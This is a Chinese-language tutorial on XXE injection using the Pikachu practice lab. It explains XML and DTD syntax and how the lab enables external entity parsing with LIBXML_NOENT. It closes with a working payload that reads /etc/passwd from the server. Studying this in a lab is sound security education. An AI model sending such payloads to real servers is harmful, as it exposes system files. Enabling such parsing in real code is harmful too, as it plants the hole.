概述
XXE -"xml external entity injection"
既"xml外部實體注入漏洞"。
概括一下就是"攻擊者通過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,導致問題"
也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。
具體的關於xml實體的介紹,網絡上有很多,自己動手先查一下。 XML 教程
現在很多語言裏面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
以PHP爲例,在PHP裏面解析xml用的是libxml,其在≥2.9.0的版本中,默認是禁止解析xml外部實體內容的。
本章提供的案例中,爲了模擬漏洞,通過手動指定LIBXML_NOENT選項開啓了xml外部實體解析。
XML基本語法
XML 被設計用來結構化、存儲以及傳輸信息; 恰恰相反, HTML 是被設計用來顯示數據,其焦點是數據的外觀。
XML 沒有預定義的標籤。它僅僅是純文本而已。有能力處理純文本的軟件都可以處理 XML。XML 不會做任何事情。
總的來說, XML 是獨立於軟件和硬件的信息傳輸工具。
第一部分:XML聲明部分
<?xml version="1.0" encoding="ISO-8859-1"?>
第二部分:文檔類型定義 DTD
<!--定義此文檔是note類型的文檔-->
<!DOCTYPE note[
<!--定義 note 元素有四個元素-->
<!ELEMENT note (to,from,heading,body)>
<!--定義 to 元素爲 "#PCDATA" 類型-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!--外部實體聲明-->
<!-- 形如: <!DOCTYPE 根元素 SYSTEM "文件名"> -->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
第三部分:文檔元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>Don't forget the meeting!</body>
</note>
具體的關於DTD語法: DTD 教程
DTD(Document Type Definition,文檔類型定義),用來爲 XML 文檔定義語法約束,可以是內部申明也可以使引用外部DTD現在很多語言裏面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
① 內部申明格式
<!DOCTYPE 根元素 [元素申明]>
DTD例子: <!ENTITY writer "Bill Gates">
XML例子: <author>&writer;</author>
註釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)。
② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
DTD例子: <!ENTITY writer SYSTEM "http://www.***.com/dtd/entities.dtd">
XML例子: <author>&writer;</author>
③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTD的URI">
一、XXE漏洞
PHP中有一個函數 simplexml_load_string() 將形式良好的 xml 字符串轉換爲 SimpleXMLElement 對象
在PHP裏面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默認是禁止解析xml外部實體內容的。
本章提供的案例中,爲了模擬漏洞,Pikachu平臺手動指定 LIBXML_NOENT 選項開啓了xml外部實體解析。
分析
我們先輸入一個合法的xml文檔:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY hack "test">
]>
<name>&hack;</name>
提交之後, 發現成功解析了:
漏洞利用
在服務端開啓了DTD外部引用且沒有對DTD對象進行過濾的情況下, 可以利用DTD引用系統關鍵文件:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "file:///etc/passwd">
]>
<name>&hack;</name>